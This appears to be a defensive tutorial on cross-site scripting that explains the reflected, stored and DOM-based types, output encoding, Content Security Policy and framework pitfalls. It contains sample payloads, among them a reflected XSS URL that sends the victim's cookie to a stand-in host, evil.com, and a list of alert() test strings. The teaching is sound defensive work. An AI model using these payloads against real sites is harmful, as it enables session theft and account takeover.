Key Takeaways

  • XSS allows attackers to execute JavaScript in victims' browsers.
  • Three types: Reflected, Stored, and DOM-based XSS.
  • Always encode output based on context (HTML, JS, URL).
  • Content Security Policy (CSP) provides defense in depth.
  • HttpOnly cookies prevent session hijacking via XSS.
  • Use frameworks that auto-encode by default (React, Vue).

1. What is XSS?

Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. When a victim's browser executes this script, it runs with the full privileges of the legitimate website, enabling attackers to steal session cookies, capture keystrokes, redirect users, or modify page content.

XSS remains one of the most common web vulnerabilities, consistently appearing in the OWASP Top 10. Despite being well-understood, it persists because developers must encode output in multiple contexts, and a single missed encoding point creates a vulnerability.

Why "Cross-Site"?

The name comes from the attack's ability to "cross" the boundary between websites. The attacker's script runs as if it came from the trusted site, accessing data and functionality that should be protected by the same-origin policy.

2. XSS Attack Types

2.1 Reflected XSS

The malicious script comes from the current HTTP request. Attackers craft a URL with the payload and trick victims into clicking it.

# Vulnerable URL
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

# Server reflects input without encoding
<p>Search results for: <script>...</script></p>

2.2 Stored XSS

The malicious script is permanently stored (database, logs, comments) and served to every user who views the affected page. More dangerous than reflected XSS as it doesn't require tricking users into clicking links.

# Attacker posts comment with payload
Comment: Great article! <script>stealCookies()</script>

# Every user viewing comments executes the script

2.3 DOM-Based XSS

The vulnerability exists in client-side JavaScript that processes user input unsafely. The payload never goes to the server.

// Vulnerable JavaScript
const name = location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

// Attack URL
https://example.com/page#<img src=x onerror=alert('XSS')>
TypeLocationPersistenceDetection
ReflectedServerNone (URL only)Server-side scanning
StoredServer/DBPersistentServer-side scanning
DOM-basedClientNone/VariesClient-side analysis

3. Impact of XSS Attacks

4. Prevention Techniques

4.1 Output Encoding

The primary defense. Encode output based on the context where it's inserted:

# HTML Context
< → &lt;    > → &gt;    & → &amp;    " → &quot;

# JavaScript Context
Use JSON.stringify() or JS-specific encoding

# URL Context
Use encodeURIComponent()

# CSS Context
Use CSS-specific encoding functions

4.2 Input Validation

Defense in depth. Validate input against expected patterns, but never rely on this alone for XSS prevention.

# Whitelist validation (preferred)
if not re.match(r'^[a-zA-Z0-9]+$', username):
    raise ValidationError('Invalid username')

# Length limits
if len(input) > 100:
    raise ValidationError('Input too long')

4.3 Safe Sinks

// UNSAFE: innerHTML, document.write, eval
element.innerHTML = userInput;  // XSS!

// SAFE: textContent, innerText
element.textContent = userInput;  // Safe, encoded automatically

// SAFE: setAttribute (with caveats)
element.setAttribute('data-value', userInput);  // Safe for most attributes
Dangerous JavaScript APIs

innerHTML, outerHTML, document.write, insertAdjacentHTML
eval(), setTimeout(string), setInterval(string), new Function(string)
Avoid these with user input, or sanitize carefully.

5. Content Security Policy

CSP is a browser security feature that provides defense in depth against XSS:

# Basic CSP Header
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'

# Strict CSP (recommended)
Content-Security-Policy: 
    default-src 'self';
    script-src 'self' 'nonce-abc123';
    style-src 'self';
    img-src 'self' data:;
    frame-ancestors 'none';

# In HTML (use nonces for inline scripts)
<script nonce="abc123">
    // This script is allowed
</script>

5.1 CSP Directives

DirectivePurpose
default-srcFallback for other directives
script-srcValid sources for JavaScript
style-srcValid sources for CSS
img-srcValid sources for images
connect-srcValid targets for fetch, XHR
frame-ancestorsControls framing (clickjacking)

6. Framework-Specific Guidance

6.1 React

React auto-encodes by default. The main risk is dangerouslySetInnerHTML:

// SAFE - auto-encoded
return <div>{userInput}</div>;

// DANGEROUS - avoid or sanitize thoroughly
return <div dangerouslySetInnerHTML={{__html: userInput}} />;

6.2 Vue.js

<!-- SAFE - auto-encoded -->
<div>{{ userInput }}</div>

<!-- DANGEROUS - avoid or sanitize -->
<div v-html="userInput"></div>

6.3 PHP

// UNSAFE
echo $_GET['name'];

// SAFE
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

7. Testing for XSS

7.1 Manual Testing

# Basic payloads
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
javascript:alert('XSS')
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>

7.2 Automated Tools

8. Frequently Asked Questions

Does input validation prevent XSS?
Input validation alone is insufficient. You must encode output. Input validation is defense in depth—it helps but shouldn't be your primary protection. Many legitimate inputs contain characters that are dangerous in certain contexts.
My framework auto-encodes. Am I safe?
Mostly, but be careful with features like dangerouslySetInnerHTML (React), v-html (Vue), or [innerHTML] (Angular). Also watch for server-side rendering and URL handling. Frameworks reduce risk but don't eliminate it.

Conclusion

XSS prevention requires consistent output encoding, appropriate use of CSP, and avoiding dangerous JavaScript APIs. Modern frameworks help by encoding by default, but developers must remain vigilant about unsafe escape hatches and complex contexts.

Continue Learning:
SQL Injection Web Security Guide